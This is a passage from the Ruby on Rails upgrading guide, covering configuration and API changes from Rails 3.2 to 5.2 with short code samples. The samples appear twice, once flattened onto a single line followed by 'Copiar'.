4.2 Expiry in signed or encrypted cookie is now embedded in the cookies values

To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value.

This new embed information make those cookies incompatible with versions of Rails older than 5.2.

If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want to allow you to rollback set Rails.application.config.action_dispatch.use_authenticated_cookie_encryption to false.

5 Upgrading from Rails 5.0 to Rails 5.1

For more information on changes made to Rails 5.1 please see the release notes.

5.1 Top-level HashWithIndifferentAccess is soft-deprecated

If your application uses the top-level HashWithIndifferentAccess class, you should slowly move your code to instead use ActiveSupport::HashWithIndifferentAccess.

It is only soft-deprecated, which means that your code will not break at the moment and no deprecation warning will be displayed, but this constant will be removed in the future.

Also, if you have pretty old YAML documents containing dumps of such objects, you may need to load and dump them again to make sure that they reference the right constant, and that loading them won't break in the future.

5.2 application.secrets now loaded with all keys as symbols

If your application stores nested configuration in config/secrets.yml, all keys are now loaded as symbols, so access using strings should be changed.

From:

Rails.application.secrets[:smtp_settings]["address"]

Rails.application.secrets[:smtp_settings]["address"] Copiar

To:

Rails.application.secrets[:smtp_settings][:address]

Rails.application.secrets[:smtp_settings][:address] Copiar

5.3 Removed deprecated support to :text and :nothing in render

If your views are using render :text, they will no longer work. The new method of rendering text with MIME type of text/plain is to use render :plain.

Similarly, render :nothing is also removed and you should use the head method to send responses that contain only headers. For example, head :ok sends a 200 response with no body to render.

6 Upgrading from Rails 4.2 to Rails 5.0

For more information on changes made to Rails 5.0 please see the release notes.

6.1 Ruby 2.2.2+ required

From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version. Make sure you are on Ruby 2.2.2 version or greater, before you proceed.

6.2 Active Record Models Now Inherit from ApplicationRecord by Default

In Rails 4.2, an Active Record model inherits from ActiveRecord::Base. In Rails 5.0, all models inherit from ApplicationRecord.

ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_record.rb file in app/models/ and add the following content:

class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end

class ApplicationRecord < ActiveRecord::Base self.abstract_class = true end Copiar

Then make sure that all your models inherit from it.

6.3 Halting Callback Chains via throw(:abort)

In Rails 4.2, when a 'before' callback returns false in Active Record and Active Model, then the entire callback chain is halted. In other words, successive 'before' callbacks are not executed, and neither is the action wrapped in callbacks.

In Rails 5.0, returning false in an Active Record or Active Model callback will not have this side effect of halting the callback chain. Instead, callback chains must be explicitly halted by calling throw(:abort).

When you upgrade from Rails 4.2 to Rails 5.0, returning false in those kind of callbacks will still halt the callback chain, but you will receive a deprecation warning about this upcoming change.

When you are ready, you can opt into the new behavior and remove the deprecation warning by adding the following configuration to your config/application.rb:

ActiveSupport.halt_callback_chains_on_return_false = false

ActiveSupport.halt_callback_chains_on_return_false = false Copiar

Note that this option will not affect Active Support callbacks since they never halted the chain when any value was returned.

See #17227 for more details.

6.4 ActiveJob Now Inherits from ApplicationJob by Default

In Rails 4.2, an Active Job inherits from ActiveJob::Base. In Rails 5.0, this behavior has changed to now inherit from ApplicationJob.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_job.rb file in app/jobs/ and add the following content:

class ApplicationJob < ActiveJob::Base
end

class ApplicationJob < ActiveJob::Base end Copiar

Then make sure that all your job classes inherit from it.

See #19034 for more details.

6.5 Rails Controller Testing

6.5.1 Extraction of some helper methods to rails-controller-testing

assigns and assert_template have been extracted to the rails-controller-testing gem. To continue using these methods in your controller tests, add gem 'rails-controller-testing' to your Gemfile.

If you are using RSpec for testing, please see the extra configuration required in the gem's documentation.

6.5.2 New behavior when uploading files

If you are using ActionDispatch::Http::UploadedFile in your tests to upload files, you will need to change to use the similar Rack::Test::UploadedFile class instead.

See #26404 for more details.

6.6 Autoloading is Disabled After Booting in the Production Environment

Autoloading is now disabled after booting in the production environment by default.

Eager loading the application is part of the boot process, so top-level constants are fine and are still autoloaded, no need to require their files.

Constants in deeper places only executed at runtime, like regular method bodies, are also fine because the file defining them will have been eager loaded while booting.

For the vast majority of applications this change needs no action. But in the very rare event that your application needs autoloading while running in production, set Rails.application.config.enable_dependency_loading to true.

6.7 XML Serialization

ActiveModel::Serializers::Xml has been extracted from Rails to the activemodel-serializers-xml gem. To continue using XML serialization in your application, add gem 'activemodel-serializers-xml' to your Gemfile.

6.8 Removed Support for Legacy mysql Database Adapter

Rails 5 removes support for the legacy mysql database adapter. Most users should be able to use mysql2 instead. It will be converted to a separate gem when we find someone to maintain it.

6.9 Removed Support for Debugger

debugger is not supported by Ruby 2.2 which is required by Rails 5. Use byebug instead.

6.10 Use bin/rails for running tasks and tests

Rails 5 adds the ability to run tasks and tests through bin/rails instead of rake. Generally these changes are in parallel with rake, but some were ported over altogether.

To use the new test runner simply type bin/rails test.

rake dev:cache is now bin/rails dev:cache.

Run bin/rails inside your application's root directory to see the list of commands available.

6.11 ActionController::Parameters No Longer Inherits from HashWithIndifferentAccess

Calling params in your application will now return an object instead of a hash. If your parameters are already permitted, then you will not need to make any changes. If you are using map and other methods that depend on being able to read the hash regardless of permitted? you will need to upgrade your application to first permit and then convert to a hash.

params.permit([:proceed_to, :return_to]).to_h

params.permit([:proceed_to, :return_to]).to_h Copiar

6.12 protect_from_forgery Now Defaults to prepend: false

protect_from_forgery defaults to prepend: false which means that it will be inserted into the callback chain at the point in which you call it in your application. If you want protect_from_forgery to always run first, then you should change your application to use protect_from_forgery prepend: true.

6.13 Default Template Handler is Now RAW

Files without a template handler in their extension will be rendered using the raw handler. Previously Rails would render files using the ERB template handler.

If you do not want your file to be handled via the raw handler, you should add an extension to your file that can be parsed by the appropriate template handler.

6.14 Added Wildcard Matching for Template Dependencies

You can now use wildcard matching for your template dependencies. For example, if you were defining your templates as such:

<% # Template Dependency: recordings/threads/events/subscribers_changed %>
<% # Template Dependency: recordings/threads/events/completed %>
<% # Template Dependency: recordings/threads/events/uncompleted %>

<% # Template Dependency: recordings/threads/events/subscribers_changed %> <% # Template Dependency: recordings/threads/events/completed %> <% # Template Dependency: recordings/threads/events/uncompleted %> Copiar

You can now just call the dependency once with a wildcard.

<% # Template Dependency: recordings/threads/events/* %>

<% # Template Dependency: recordings/threads/events/* %> Copiar

6.15 ActionView::Helpers::RecordTagHelper moved to external gem (record_tag_helper)

content_tag_for and div_for have been removed in favor of just using content_tag. To continue using the older methods, add the record_tag_helper gem to your Gemfile:

gem 'record_tag_helper', '~> 1.0'

gem 'record_tag_helper', '~> 1.0' Copiar

See #18411 for more details.

6.16 Removed Support for protected_attributes Gem

The protected_attributes gem is no longer supported in Rails 5.

6.17 Removed support for activerecord-deprecated_finders gem

The activerecord-deprecated_finders gem is no longer supported in Rails 5.

6.18 ActiveSupport::TestCase Default Test Order is Now Random

When tests are run in your application, the default order is now :random instead of :sorted. Use the following config option to set it back to :sorted.

# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted
end

# config/environments/test.rb Rails.application.configure do config.active_support.test_order = :sorted end Copiar

6.19 ActionController::Live became a Concern

If you include ActionController::Live in another module that is included in your controller, then you should also extend the module with ActiveSupport::Concern. Alternatively, you can use the self.included hook to include ActionController::Live directly to the controller once the StreamingSupport is included.

This means that if your application used to have its own streaming module, the following code would break in production:

# This is a work-around for streamed controllers performing authentication with Warden/Devise.
# See https://github.com/plataformatec/devise/issues/2332
# Authenticating in the router is another solution as suggested in that issue
class StreamingSupport
include ActionController::Live # this won't work in production for Rails 5
# extend ActiveSupport::Concern # unless you uncomment this line.

def process(name)
super(name)
rescue ArgumentError => e
if e.message == 'uncaught throw :warden'
throw :warden
else
raise e
end
end
end

# This is a work-around for streamed controllers performing authentication with Warden/Devise. # See https://github.com/plataformatec/devise/issues/2332 # Authenticating in the router is another solution as suggested in that issue class StreamingSupport include ActionController::Live # this won't work in production for Rails 5 # extend ActiveSupport::Concern # unless you uncomment this line. def process(name) super(name) rescue ArgumentError => e if e.message == 'uncaught throw :warden' throw :warden else raise e end end end Copiar

6.20 New Framework Defaults

6.20.1 Active Record belongs_to Required by Default Option

belongs_to will now trigger a validation error by default if the association is not present.

This can be turned off per-association with optional: true.

This default will be automatically configured in new applications. If an existing application wants to add this feature it will need to be turned on in an initializer:

config.active_record.belongs_to_required_by_default = true

config.active_record.belongs_to_required_by_default = true Copiar

The configuration is by default global for all your models, but you can override it on a per model basis. This should help you migrate all your models to have their associations required by default.

class Book < ApplicationRecord
# model is not yet ready to have its association required by default

self.belongs_to_required_by_default = false
belongs_to(:author)
end

class Car < ApplicationRecord
# model is ready to have its association required by default

self.belongs_to_required_by_default = true
belongs_to(:pilot)
end

class Book < ApplicationRecord # model is not yet ready to have its association required by default self.belongs_to_required_by_default = false belongs_to(:author) end class Car < ApplicationRecord # model is ready to have its association required by default self.belongs_to_required_by_default = true belongs_to(:pilot) end Copiar

6.20.2 Per-form CSRF Tokens

Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms created by JavaScript. With this option turned on, forms in your application will each have their own CSRF token that is specific to the action and method for that form.

config.action_controller.per_form_csrf_tokens = true

config.action_controller.per_form_csrf_tokens = true Copiar

6.20.3 Forgery Protection with Origin Check

You can now configure your application to check if the HTTP Origin header should be checked against the site's origin as an additional CSRF defense. Set the following in your config to true:

config.action_controller.forgery_protection_origin_check = true

config.action_controller.forgery_protection_origin_check = true Copiar

6.20.4 Allow Configuration of Action Mailer Queue Name

The default mailer queue name is mailers. This configuration option allows you to globally change the queue name. Set the following in your config:

config.action_mailer.deliver_later_queue_name = :new_queue_name

config.action_mailer.deliver_later_queue_name = :new_queue_name Copiar

6.20.5 Support Fragment Caching in Action Mailer Views

Set config.action_mailer.perform_caching in your config to determine whether your Action Mailer views should support caching.

config.action_mailer.perform_caching = true

config.action_mailer.perform_caching = true Copiar

6.20.6 Configure the Output of db:structure:dump

If you're using schema_search_path or other PostgreSQL extensions, you can control how the schema is dumped. Set to :all to generate all dumps, or to :schema_search_path to generate from schema search path.

config.active_record.dump_schemas = :all

config.active_record.dump_schemas = :all Copiar

6.20.7 Configure SSL Options to Enable HSTS with Subdomains

Set the following in your config to enable HSTS when using subdomains:

config.ssl_options = { hsts: { subdomains: true } }

config.ssl_options = { hsts: { subdomains: true } } Copiar

6.20.8 Preserve Timezone of the Receiver

When using Ruby 2.4, you can preserve the timezone of the receiver when calling to_time.

ActiveSupport.to_time_preserves_timezone = false

ActiveSupport.to_time_preserves_timezone = false Copiar

6.21 Changes with JSON/JSONB serialization

In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if you set a column equal to a String, Active Record will no longer turn that string into a Hash, and will instead only return the string. This is not limited to code interacting with models, but also affects :default column settings in db/schema.rb. It is recommended that you do not set columns equal to a String, but pass a Hash instead, which will be converted to and from a JSON string automatically.

7 Upgrading from Rails 4.1 to Rails 4.2

7.1 Web Console

First, add gem 'web-console', '~> 2.0' to the :development group in your Gemfile and run bundle install (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., <%= console %>) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.

7.2 Responders

respond_with and the class-level respond_to methods have been extracted to the responders gem. To use them, simply add gem 'responders', '~> 2.0' to your Gemfile. Calls to respond_with and respond_to (again, at the class level) will no longer work without having included the responders gem in your dependencies:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
respond_to :html, :json

def show
@user = User.find(params[:id])
respond_with @user
end
end

# app/controllers/users_controller.rb class UsersController < ApplicationController respond_to :html, :json def show @user = User.find(params[:id]) respond_with @user end end Copiar

Instance-level respond_to is unaffected and does not require the additional gem:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

# app/controllers/users_controller.rb class UsersController < ApplicationController def show @user = User.find(params[:id]) respond_to do |format| format.html format.json { render json: @user } end end end Copiar

See #16526 for more details.

7.3 Error handling in transaction callbacks

Currently, Active Record suppresses errors raised within after_rollback or after_commit callbacks and only prints them to the logs. In the next version, these errors will no longer be suppressed. Instead, the errors will propagate normally just like in other Active Record callbacks.

When you define an after_rollback or after_commit callback, you will receive a deprecation warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding following configuration to your config/application.rb:

config.active_record.raise_in_transactional_callbacks = true

config.active_record.raise_in_transactional_callbacks = true Copiar

See #14488 and #16537 for more details.

7.4 Ordering of test cases

In Rails 5.0, test cases will be executed in random order by default. In anticipation of this change, Rails 4.2 introduced a new configuration option active_support.test_order for explicitly specifying the test ordering. This allows you to either lock down the current behavior by setting the option to :sorted, or opt into the future behavior by setting the option to :random.

If you do not specify a value for this option, a deprecation warning will be emitted. To avoid this, add the following line to your test environment:

# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted # or `:random` if you prefer
end

# config/environments/test.rb Rails.application.configure do config.active_support.test_order = :sorted # or `:random` if you prefer end Copiar

7.5 Serialized attributes

When using a custom coder (e.g. serialize :metadata, JSON), assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through the coder (e.g. "null" when using the JSON coder).

7.6 Production log level

In Rails 5, the default log level for the production environment will be changed to :debug (from :info). To preserve the current default, add the following line to your production.rb:

# Set to `:info` to match the current default, or set to `:debug` to opt-into
# the future default.
config.log_level = :info

# Set to `:info` to match the current default, or set to `:debug` to opt-into # the future default. config.log_level = :info Copiar

7.7 after_bundle in Rails templates

If you have a Rails template that adds all the files in version control, it fails to add the generated binstubs because it gets executed before Bundler:

# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }

# template.rb generate(:scaffold, "person name:string") route "root to: 'people#index'" rake("db:migrate") git :init git add: "." git commit: %Q{ -m 'Initial commit' } Copiar

You can now wrap the git calls in an after_bundle block. It will be run after the binstubs have been generated.

# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

after_bundle do
git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }
end

# template.rb generate(:scaffold, "person name:string") route "root to: 'people#index'" rake("db:migrate") after_bundle do git :init git add: "." git commit: %Q{ -m 'Initial commit' } end Copiar

7.8 Rails HTML Sanitizer

There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of Rails HTML Sanitizer.

This means the methods sanitize, sanitize_css, strip_tags and strip_links are backed by a new implementation.

This new sanitizer uses Loofah internally. Loofah in turn uses Nokogiri, which wraps XML parsers written in both C and Java, so sanitization should be faster no matter which Ruby version you run.

The new version updates sanitize, so it can take a Loofah::Scrubber for powerful scrubbing. See some examples of scrubbers here.

Two new scrubbers have also been added: PermitScrubber and TargetScrubber. Read the gem's readme for more information.

The documentation for PermitScrubber and TargetScrubber explains how you can gain complete control over when and how elements should be stripped.

If your application needs to use the old sanitizer implementation, include rails-deprecated_sanitizer in your Gemfile:

gem 'rails-deprecated_sanitizer'

gem 'rails-deprecated_sanitizer' Copiar

7.9 Rails DOM Testing

The TagAssertions module (containing methods such as assert_tag), has been deprecated in favor of the assert_select methods from the SelectorAssertions module, which has been extracted into the rails-dom-testing gem.

7.10 Masked Authenticity Tokens

In order to mitigate SSL attacks, form_authenticity_token is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.

7.11 Action Mailer

Previously, calling a mailer method on a mailer class will result in the corresponding instance method being executed directly. With the introduction of Active Job and #deliver_later, this is no longer true. In Rails 4.2, the invocation of the instance methods are deferred until either deliver_now or deliver_later is called. For example:

class Notifier < ActionMailer::Base
def notify(user, ...)
puts "Called"
mail(to: user.email, ...)
end
end

class Notifier < ActionMailer::Base def notify(user, ...) puts "Called" mail(to: user.email, ...) end end Copiar

mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
mail = mail.deliver_now           # Prints "Called"

mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point mail = mail.deliver_now # Prints "Called" Copiar

This should not result in any noticeable differences for most applications. However, if you need some non-mailer methods to be executed synchronously, and you were previously relying on the synchronous proxying behavior, you should define them as class methods on the mailer class directly:

class Notifier < ActionMailer::Base
def self.broadcast_notifications(users, ...)
users.each { |user| Notifier.notify(user, ...) }
end
end

class Notifier < ActionMailer::Base def self.broadcast_notifications(users, ...) users.each { |user| Notifier.notify(user, ...) } end end Copiar

7.12 Foreign Key Support

The migration DSL has been expanded to support foreign key definitions. If you've been using the Foreigner gem, you might want to consider removing it. Note that the foreign key support of Rails is a subset of Foreigner. This means that not every Foreigner definition can be fully replaced by its Rails migration DSL counterpart.

The migration procedure is as follows:

1. remove gem "foreigner" from the Gemfile.

2. run bundle install.

3. run bin/rake db:schema:dump.

4. make sure that db/schema.rb contains every foreign key definition with the necessary options.

8 Upgrading from Rails 4.0 to Rails 4.1

8.1 CSRF protection from remote <script> tags

Or, "whaaat my tests are failing!!!?" or "my <script> widget is busted!!"

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. This prevents a third-party site from remotely referencing your JavaScript with a <script> tag to extract sensitive data.

This means that your functional and integration tests that use

get :index, format: :js

get :index, format: :js Copiar

will now trigger CSRF protection. Switch to

xhr :get, :index, format: :js

xhr :get, :index, format: :js Copiar

to explicitly test an XmlHttpRequest.

Your own <script> tags are treated as cross-origin and blocked by default, too. If you really mean to load JavaScript from <script> tags, you must now explicitly skip CSRF protection on those actions.

8.2 Spring

If you want to use Spring as your application preloader you need to:

1. Add gem 'spring', group: :development to your Gemfile.

2. Install spring using bundle install.

3. Generate the Spring binstub with bundle exec spring binstub.

User defined rake tasks will run in the development environment by default. If you want them to run in other environments consult the Spring README.

8.3 config/secrets.yml

If you want to use the new secrets.yml convention to store your application's secrets, you need to:

1. Create a secrets.yml file in your config folder with the following content:

development:
secret_key_base:

test:
secret_key_base:

production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

development: secret_key_base: test: secret_key_base: production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> Copiar

2. Use your existing secret_key_base from the secret_token.rb initializer to set the SECRET_KEY_BASE environment variable for whichever users running the Rails application in production. Alternatively, you can simply copy the existing secret_key_base from the secret_token.rb initializer to secrets.yml under the production section, replacing <%= ENV["SECRET_KEY_BASE"] %>.

3. Remove the secret_token.rb initializer.

4. Use rake secret to generate new keys for the development and test sections.

5. Restart your server.

8.4 Changes to test helper

If your test helper contains a call to ActiveRecord::Migration.check_pending! this can be removed. The check is now done automatically when you require "rails/test_help", although leaving this line in your helper is not harmful in any way.

8.5 Cookies serializer

Applications created before Rails 4.1 uses Marshal to serialize cookie values into the signed and encrypted cookie jars. If you want to use the new JSON-based format in your application, you can add an initializer file with the following content:

Rails.application.config.action_dispatch.cookies_serializer = :hybrid

Rails.application.config.action_dispatch.cookies_serializer = :hybrid Copiar

This would transparently migrate your existing Marshal-serialized cookies into the new JSON-based format.

When using the :json or :hybrid serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, Date and Time objects will be serialized as strings, and Hashes will have their keys stringified.

class CookiesController < ApplicationController
def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
redirect_to action: 'read_cookie'
end

def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

class CookiesController < ApplicationController def set_cookie cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 redirect_to action: 'read_cookie' end def read_cookie cookies.encrypted[:expiration_date] # => "2014-03-20" end end Copiar

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and flash hash as well.

8.6 Flash structure changes

Flash message keys are normalized to strings. They can still be accessed using either symbols or strings. Looping through the flash will always yield string keys:

flash["string"] = "a string"
flash[:symbol] = "a symbol"

# Rails < 4.1
flash.keys # => ["string", :symbol]

# Rails >= 4.1
flash.keys # => ["string", "symbol"]

flash["string"] = "a string" flash[:symbol] = "a symbol" # Rails < 4.1 flash.keys # => ["string", :symbol] # Rails >= 4.1 flash.keys # => ["string", "symbol"] Copiar

Make sure you are comparing Flash message keys against strings.

8.7 Changes in JSON handling

There are a few major changes related to JSON handling in Rails 4.1.

8.7.1 MultiJSON removal

MultiJSON has reached its end-of-life and has been removed from Rails.

If your application currently depends on MultiJSON directly, you have a few options:

1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future

2. Migrate away from MultiJSON by using obj.to_json, and JSON.parse(str) instead.

Do not simply replace MultiJson.dump and MultiJson.load with JSON.dump and JSON.load. These JSON gem APIs are meant for serializing and deserializing arbitrary Ruby objects and are generally unsafe.

8.7.2 JSON gem compatibility

Historically, Rails had some compatibility issues with the JSON gem. Using JSON.generate and JSON.dump inside a Rails application could produce unexpected errors.

Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The JSON gem APIs will function as normal, but they will not have access to any Rails-specific features. For example:

class FooBar
def as_json(options = nil)
{ foo: 'bar' }
end
end

class FooBar def as_json(options = nil) { foo: 'bar' } end end Copiar

irb> FooBar.new.to_json
=> "{\"foo\":\"bar\"}"
irb> JSON.generate(FooBar.new, quirks_mode: true)
=> "\"#<FooBar:0x007fa80a481610>\""

FooBar.new.to_json JSON.generate(FooBar.new, quirks_mode: true) Copiar

8.7.3 New JSON encoder

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON gem. For most applications, this should be a transparent change. However, as part of the rewrite, the following features have been removed from the encoder:

1. Circular data structure detection

2. Support for the encode_json hook

3. Option to encode BigDecimal objects as numbers instead of strings

If your application depends on one of these features, you can get them back by adding the activesupport-json_encoder gem to your Gemfile.

8.7.4 JSON representation of Time objects

#as_json for objects with time component (Time, DateTime, ActiveSupport::TimeWithZone) now returns millisecond precision by default. If you need to keep old behavior with no millisecond precision, set the following in an initializer:

ActiveSupport::JSON::Encoding.time_precision = 0

ActiveSupport::JSON::Encoding.time_precision = 0 Copiar

8.8 Usage of return within inline callback blocks

Previously, Rails allowed inline callback blocks to use return this way:

class ReadOnlyModel < ActiveRecord::Base
before_save { return false } # BAD
end

class ReadOnlyModel < ActiveRecord::Base before_save { return false } # BAD end Copiar

This behavior was never intentionally supported. Due to a change in the internals of ActiveSupport::Callbacks, this is no longer allowed in Rails 4.1. Using a return statement in an inline callback block causes a LocalJumpError to be raised when the callback is executed.

Inline callback blocks using return can be refactored to evaluate to the returned value:

class ReadOnlyModel < ActiveRecord::Base
before_save { false } # GOOD
end

class ReadOnlyModel < ActiveRecord::Base before_save { false } # GOOD end Copiar

Alternatively, if return is preferred it is recommended to explicitly define a method:

class ReadOnlyModel < ActiveRecord::Base
before_save :before_save_callback # GOOD

private
def before_save_callback
return false
end
end

class ReadOnlyModel < ActiveRecord::Base before_save :before_save_callback # GOOD private def before_save_callback return false end end Copiar

This change applies to most places in Rails where callbacks are used, including Active Record and Active Model callbacks, as well as filters in Action Controller (e.g. before_action).

See this pull request for more details.

8.9 Methods defined in Active Record fixtures

Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods defined in a fixture will not be available in other fixtures.

Helper methods that are used in multiple fixtures should be defined on modules included in the newly introduced ActiveRecord::FixtureSet.context_class, in test_helper.rb.

module FixtureFileHelpers
def file_sha(path)
Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
end
end

ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers

module FixtureFileHelpers def file_sha(path) Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) end end ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers Copiar

8.10 I18n enforcing available locales

Rails 4.1 now defaults the I18n option enforce_available_locales to true. This means that it will make sure that all locales passed to it must be declared in the available_locales list.

To disable it (and allow I18n to accept any locale option) add the following configuration to your application:

config.i18n.enforce_available_locales = false

config.i18n.enforce_available_locales = false Copiar

Note that this option was added as a security measure, to ensure user input cannot be used as locale information unless it is previously known. Therefore, it's recommended not to disable this option unless you have a strong reason for doing so.

8.11 Mutator methods called on Relation

Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator methods directly on the Relation.

# Instead of this
Author.where(name: 'Hank Moody').compact!

# Now you have to do this
authors = Author.where(name: 'Hank Moody').to_a
authors.compact!

# Instead of this Author.where(name: 'Hank Moody').compact! # Now you have to do this authors = Author.where(name: 'Hank Moody').to_a authors.compact! Copiar

8.12 Changes on Default Scopes

Default scopes are no longer overridden by chained conditions.

In previous versions when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope.

Before:

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

class User < ActiveRecord::Base default_scope { where state: 'pending' } scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } end User.all # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' User.active # SELECT "users".* FROM "users" WHERE "users"."state" = 'active' User.where(state: 'inactive') # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' Copiar

After:

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'

class User < ActiveRecord::Base default_scope { where state: 'pending' } scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } end User.all # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' User.active # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' User.where(state: 'inactive') # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' Copiar

To get the previous behavior it is needed to explicitly remove the default_scope condition using unscoped, unscope, rewhere or except.

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { unscope(where: :state).where(state: 'active') }
scope :inactive, -> { rewhere state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

class User < ActiveRecord::Base default_scope { where state: 'pending' } scope :active, -> { unscope(where: :state).where(state: 'active') } scope :inactive, -> { rewhere state: 'inactive' } end User.all # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' User.active # SELECT "users".* FROM "users" WHERE "users"."state" = 'active' User.inactive # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' Copiar

8.13 Rendering content from string

Rails 4.1 introduces :plain, :html, and :body options to render. Those options are now the preferred way to render string-based content, as it allows you to specify which content type you want the response sent as.

- render :plain will set the content type to text/plain

- render :html will set the content type to text/html

- render :body will not set the content type header.

From the security standpoint, if you don't expect to have any markup in your response body, you should be using render :plain as most browsers will escape unsafe content in the response for you.

We will be deprecating the use of render :text in a future version. So please start using the more precise :plain, :html, and :body options instead. Using render :text may pose a security risk, as the content is sent as text/html.

8.14 PostgreSQL json and hstore datatypes

Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash. In earlier versions, a HashWithIndifferentAccess was used. This means that symbol access is no longer supported. This is also the case for store_accessors based on top of json or hstore columns. Make sure to use string keys consistently.

8.15 Explicit block use for ActiveSupport::Callbacks

Rails 4.1 now expects an explicit block to be passed when calling ActiveSupport::Callbacks.set_callback. This change stems from ActiveSupport::Callbacks being largely rewritten for the 4.1 release.

# Previously in Rails 4.0
set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }

# Now in Rails 4.1
set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }

# Previously in Rails 4.0 set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff } # Now in Rails 4.1 set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff } Copiar

9 Upgrading from Rails 3.2 to Rails 4.0

If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.

The following changes are meant for upgrading your application to Rails 4.0.

9.1 HTTP PATCH

Rails 4 now uses PATCH as the primary HTTP verb for updates when a RESTful resource is declared in config/routes.rb. The update action is still used, and PUT requests will continue to be routed to the update action as well. So, if you're using only the standard RESTful routes, no changes need to be made:

resources :users

resources :users Copiar

<%= form_for @user do |f| %>

<%= form_for @user do |f| %> Copiar

class UsersController < ApplicationController
def update
# No change needed; PATCH will be preferred, and PUT will still work.
end
end

class UsersController < ApplicationController def update # No change needed; PATCH will be preferred, and PUT will still work. end end Copiar

However, you will need to make a change if you are using form_for to update a resource in conjunction with a custom route using the PUT HTTP method:

resources :users do
put :update_name, on: :member
end

resources :users do put :update_name, on: :member end Copiar

<%= form_for [ :update_name, @user ] do |f| %>

<%= form_for [ :update_name, @user ] do |f| %> Copiar

class UsersController < ApplicationController
def update_name
# Change needed; form_for will try to use a non-existent PATCH route.
end
end

class UsersController < ApplicationController def update_name # Change needed; form_for will try to use a non-existent PATCH route. end end Copiar

If the action is not being used in a public API and you are free to change the HTTP method, you can update your route to use patch instead of put:

resources :users do
patch :update_name, on: :member
end

resources :users do patch :update_name, on: :member end Copiar

